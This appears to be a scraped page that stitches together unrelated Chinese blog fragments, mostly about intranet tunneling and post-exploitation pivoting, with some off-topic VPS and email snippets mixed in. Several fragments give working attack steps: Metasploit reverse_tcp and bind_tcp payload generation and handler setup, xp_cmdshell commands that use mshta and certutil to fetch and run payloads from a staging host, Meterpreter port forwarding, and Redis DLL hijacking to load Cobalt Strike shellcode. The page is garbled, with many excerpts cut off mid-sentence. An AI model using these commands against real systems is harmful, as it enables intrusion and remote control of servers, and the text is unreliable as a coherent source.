很多时候我们需要内网穿透来进行一些操作 因为我们本地是内网而且在没有端口转发的情况下 msf不能很好的去使用。所以今天来总结一下 利用ssh frp实现内网穿透后 利用msf的过程。
在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?如何对内网进行渗透测试,这时就需要隧道转发技术,穿透边界防火墙、安全代理等安全设备,进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。
lhost :公网ip lport :公网端口 ps:端口除去公共端口都行(22 80等…… ),这里就设置为8181
上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。
Lcx是一个端口转发工具,有windows版和linux两个版本(linux版本名为protmap)
Zoho Mail是一个国外邮件服务商,提供免费和收费邮箱业务,近期还推出了“MAIL LITE”套餐,最低只要1$/月,支持无限邮箱别名(仅限收费套餐),个人站长使用是非常不错的选择。不过Zoho Mail的邮件服务器在美国,在国内延迟达到300ms,着实有点偏慢。
Chisel可用来搭建内网隧道,类似于常用的frp和nps之类的工具。由于目前使用的人比较少,因此对于有些杀软还不能准确的识别出该工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理,使用go语言编写,支持多个平台使用,是进行内网穿透的一个鲜为人知的好工具。
当我们在外网打下一个点,通过arp,netstat,以及ifconifg(ipconfig)等信息收集,发现此点为dmz,可通内网,那么这时候我们需要在此点上搭建通向内网的隧道,为内网渗透打下坚实基础。
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据,还能够将其他TCP端口的网络数据通过SSH连接进行转发,并且自动提供了相应的加密及解密服务,这一过程被叫做“SSH隧道” (tunneling)。
在实际渗透过程中,我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具,进行端口转发。
pingtunnel 是tcp/udp/sock5 流量伪装成icmp流量进行转发的工具。
ssh能够提供客户端到服务端的加密传输,当http、ftp等协议被防火墙所拦截时,可以考虑使用SSH的端口转发功能,将其它TCP端口的网络数据通过SSH连接来转发。
SMB又名网络文件共享文件,顾名思义其作用是用于用户与服务端之间的文件交互。默认端口为139,445。SMB的认证过程在这里就不重复描述了,具体可以看我上一篇写的文章,路由器抓包分析之SMB篇。在认证的时候细心的同学一定会发现在Windows下访问SMB服务器会默认使用当前用户hash去向SMB服务器发起认证。下面的实验便与这个机制有关。
参考:http://www.0-sec.org/Tools/Cobalt%20Strike/32.html
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
因为一些特殊原因,我需要用到端口转发功能,这个功能是这样的,我有2台服务器:A和B,分别是2个不同IP。2台服务器各自的特点是:A网络好,性能差;B网络差,但性能强。(此处“网络”只针对大陆IP访问的网络性能) 所以我的网站放在B上,但是要通过A服务器的IP去访问B服务器上的网站。(注意,这里只是拿放网站做例子,如果只放网站的话,使用nginx做反向代理即可。如果是其他的服务,就需要使用本文章说的端口转发。) 例如: A服务器IP:1.1.1.1 B服务器IP:2.2.2.2 通过网上找到的资料,
转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。
什么情况下需要端口转发: Web服务器在内网中,远程桌面无法连接,因此需要进行端口转发。 内网IP的80端口通过端口映射到外网IP的80端口上, 内网的WEB服务器通过外网IP反向代理,这个情况下需要进行端口转发 服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。 如何判断: ping该域名,是外网IP,但是通过WebShell执行命令查看IP又是内网的一个IP。 工具: lcx.exe:
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP,不过都失败了,第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地,然后再用lcx把Filezilla Server的14147端口转发出来,lcx执行命令如下。 首先VPS机器监听51端口,连接用14147端口: VPS机器执行: C:\>lcx.exe -listen 51 14147 目标机器执行: /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接,而且我们本地机器也成功的返回了数据,但是好像返回的数据信息中有错误,如下图。 当前问题: 不能正常把目标服务器的FileZilla Server 14147端口给转发出来,返回数据中出错了,所以无法在本地连接上FileZilla Server服务端。 解决办法: 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件,然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下,那么就需要先在路由器里进行端口映射配置,然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件,命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听,然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件,如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话,然后直接使用portfwd命令进行端口转发即可,执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后,我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
该操作在vm虚拟机中完成,提前安装了Windows7、kali linux、Windows server2008。
说明:玩vps的经常要用到端口转发用以实现更快的速度,比如手上有个某商家的vps,本地访问速度很慢,这时候就可以用一个香港或者日本的线路做桥梁,达到更快的速度,这里先说下用iptables来进行中转的教程,毕竟自认为这个是最好上手的。
iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。
C&C服务器,其全称为command and control server。我们在诸多文章中曾看到过,C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。今天,我们就通过一个几个C&C服务器的搭建实验教程让大家了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。 无C&C服务器通讯 故事 *本文中涉及的故事纯属虚构,如有雷同实数巧合 某天,某攻击者通过固定的外网IP控制了一个处在外网的用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。
Date/time:2013年,早想写这篇文章了,由于最近一直很忙,拖了半个月才抽出时间来写,这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法,在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access,一个很普通的SQL注入漏洞,这里就不详细写了。
相信大家在渗透测试时如果遇到内网IP瞬间心情就不好了,因为自己是内网,目标也是内网,怎么勾搭上?而且像我这等穷人又没钱买死贵死贵的vps搭建云Kali,怎么办?这时候就要借助内网穿透工具了,网上很多工具都能实现,这里推荐Ngrok。但是我既想通过Ngrok在metaspolit下反弹shell,同时又想把对方的3389端口转发到本地,在meterperter下鱼和熊掌我都要!
将内网机器的127.0.0.1的8882端口,通过主动连接外网的122.114.250.153的ssh,映射到外网vps的122.114.250.153的7280端口,实现网络穿透.这样访问122.114.250.153的7280就可以相当于直接访问内网的8882端口了.
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项: 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。 思路拓展: bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由,再用MSF中的Socks模块开一个Socks代理,设置选项可以不做修改,直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功? proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向:
ssh隧道大致可以分为3种,分别为本地端口转发,远程端口转发,动态端口转发,本文将让你彻底搞懂这3个转发的命令表达形式,让你能够灵活运用解决生活中的各种特殊场景。
0x00:简介 frp 是一个反向代理工具.可以轻松地进行内网穿透.对外网提供服务,frp支持 tcp协议, http协议, https 等协议类型,并且 web 服务支持根据域名进行路由转发.
在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
今天开始讲讲木马攻防,感觉这些内容大家应该会更感兴趣一些,就从隧道木马说起。为什么会有隧道木马这一说呢?这是根据通信协议进行分类的。讲隧道木马之前,先讲讲端口映射和转发。端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义。
说明:UDPSpeeder很早前博客就介绍过,是一个双边网络加速工具,本身是加速UDP流量,但也可以加速TCP/UDP/ICMP,而网络游戏也是走的UDP,我们可以用来配合SSTap来最大改善我们的游戏体验,近期作者发布windows版本客户端,使用更加方便了,这里就大概的讲下方法。 简介 UDPspeeder作用是给udp流量加冗余和纠错(RS code),牺牲一定的流量(通常可小于0.5倍),让网络达到接近零丢包。 可以单独加速udp,或配合V皮N加速全流量(tcp/udp/icmp)。 最佳的适用场景
本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第三章隐藏通信隧道技术,详细介绍了IPv6隧道、ICMP隧道、HTTPS隧道、SSH隧道、DNS隧道等加密隧道的使用方法,并对常见的SOCKS代理工具及内网上传/下载方法进行了解说
dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。严格的说,dnscat2是一个命令与控制工具。
iox是一款功能强大的端口转发&内网代理工具,该工具的功能类似于lcx和ew,但是iox的功能和性能都更加强大。
本文为整个专题的第三篇,进入了攻击模拟的第II期。在本次攻击模拟中,引入了同一网段中的两台主机(Windows,以下简称W;Ubuntu,以下简称L),分别被两个攻击者攻击后,也导致对方遭受攻击。
监听器配置填入地址 service-cv4vqio3-1307700818.sh.apigw.tencentcs.com
举例: 例如,假设有一个应用程序叫做"example.exe",它依赖于名为"example.dll"的动态链接库。而"example.exe"在加载"example.dll"时没有使用绝对路径,而是仅仅指定了DLL的名称。攻击者可以将恶意的"example.dll"文件放置在与"example.exe"相同的目录下,当"example.exe"启动时,系统会先在当前目录中查找"example.dll"文件,如果找到,就会加载该文件并执行其中的恶意代码。 DLL劫持可以函数转发劫持也可以往完整DLL插入恶意代码,这里用的函数转发劫持,大致流程如下图所示: https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/ 2.2 劫持dbghelp.dll redis-server.exe在执行bgsave时,会先在应用目录查找dbghelp.dll,找不到再去system32目录下找: 而不管redis的权限是Administrator还是普通用户或者Network Service,它对自己的应用目录一定有写文件的权限,我们可以通过Redis的主从复制在应用目录里写入恶意DLL。 2.3 函数转发劫持 对DLL进行函数转发劫持需要导出原本DLL的函数和地址,以保证程序通过恶意DLL调用这些函数时不影响正常功能,DLL的导出函数一般比较多,用Aheadlib之类的工具可以自动化处理。 我这里用的是DLLHijacker,它会自动处理导出表并生成一个VS2019的项目,但这个python脚本有几个bug: https://github.com/kiwings/DLLHijacker (1) VS项目中文乱码: 修复:几个写文件的地方添加 encoding="utf-8"。 (2) 函数导出表有匿名函数的时候,会导致以下报错 [-]Error occur: 'NoneType' object has no attribute 'decode 修复:在几个for循环里添加函数名是否为空的判断可以解决这个问题。 (3) 生成C/C++代码时,没有使用目标DLL的绝对路径,只是用了DLL的名字填充LoadLibrary(),这是一个很严重的bug,会导致函数转发失败、Redis的功能受到影响从而只能劫持一次: 修复:我改成了根据输入的目标DLL路径自动填充。 如果没有使用原DLL的绝对路径,在Process Monitor可以看到,只会调用应用程序目录里的恶意DLL,并没有调用原本的system32下的dbghelp.dll: 从而redis的功能受到影响,导致redis的bgsave只能触发一次DLL调用,第二次bgsave的进程会被阻塞从而无法调用DLL,并且Redis关闭后将无法启动: 这也是网上部分师傅的文章写”不会影响redis运行 但会无法重启“的原因,因为他们也是用的DLLHijacker,并且没有发现有这个坑,这不仅会影响业务,而且只能劫持一次: 正常的DLL劫持不会影响程序的功能,可以劫持很多次,假如我第一次劫持想上线CS但是没有成功,那对面可能不出网,那我可能会再劫持打一个MSF的反向shell,都没成功我也可以继续尝试MSF盲打命令: 正常的DLL转发劫持如下,调用完应用程序目录里的恶意DLL后会调用原DLL: 0x03 漏洞利用 3.1 工具使用 工具下载地址: https://github.com/P4r4d1se/dll_hijack 如是是Windows 64位的Redis DLL劫持的话,可以直接用里面的VS2022版的dbghelp项目。 其他要用我修改后的DllHijacker.py和目标DLL路径生成VS项目: python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll 下载安装VS2022,只用勾C++桌面开发: https://visualstudio.microsoft.com/zh-hans/downloads 打开生成目录里的sln文件,因为原本是VS2019的项目所以会提醒你升级,选确定,不然得另外安装v142的编译组件才能编译VS2019的项目: 打开后在源文件的dllmain.app,修改里面的shellocde就行,其他不用改: 3.2 出网——Cobalt Strike 如果Redis主机直接出网,或者能通其他已经上线CS的出网主机,那直接上CS是最好的选择,CS生成C语言的payload: 源文件的dllmain.app里把payload替换进去,然后选Release x64,生成——生成解决方案: 然后主从复制将dbghelp.dll写过去并bg
上周斗哥给大家介绍来“百香果”内网安全沙盘的构建,主要用于学习内网渗透的基础环境,那么内网渗透中最基础的就是内网通信隧道了,本期给大家带来内网通信隧道中SOCKS的学习。
背景:因为微信公众平台支持的后台服务器只允许为80端口,而本地服务器开发程序与在VPS上部署程序运行,每次无论是使用scp还是ftp进行文件传输无疑是低效的,因此需要一种方法可以方便的在本地服务器调试微信公众平台。有的使用,ngrok,此方法是通过ssh反向代理达到目的。
DNS协议是一种请求、应答协议,也是一种可用于应用层的隧道技术。DNS隧道的工作原理很简单,在进行DNS查询时,如果查询的域名不在DNS服务器本机缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交互。从DNS协议的角度来看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上返回的可以是任意的字符串,包括加密的C&C指令。
上一篇文章中,介绍了Cobalt strike 发送钓鱼邮件的利用,但是Cobalt strike不仅仅是用在钓鱼邮件,同时也是一款非常强大的内网渗透利器,下面我们就来介绍一下如何利用其在内网中配合一
VM虚拟网站配置的话需要配置三张网卡,这里通外网的我设置为了桥接,网段2就是VM2网段3就是VM3
前阵子组装了一个主机,然后在主机上搭建了一个Linux的服务器,这里主要记录其流程和碰到的问题。
前面一次网进行了内网渗透,这里做个人小结,也方便其他小伙伴学习EW。这里仅记录后渗透中与EW相关的部分已提前在tomcat中留下冰蝎马。
领取专属 10元无门槛券
手把手带您无忧上云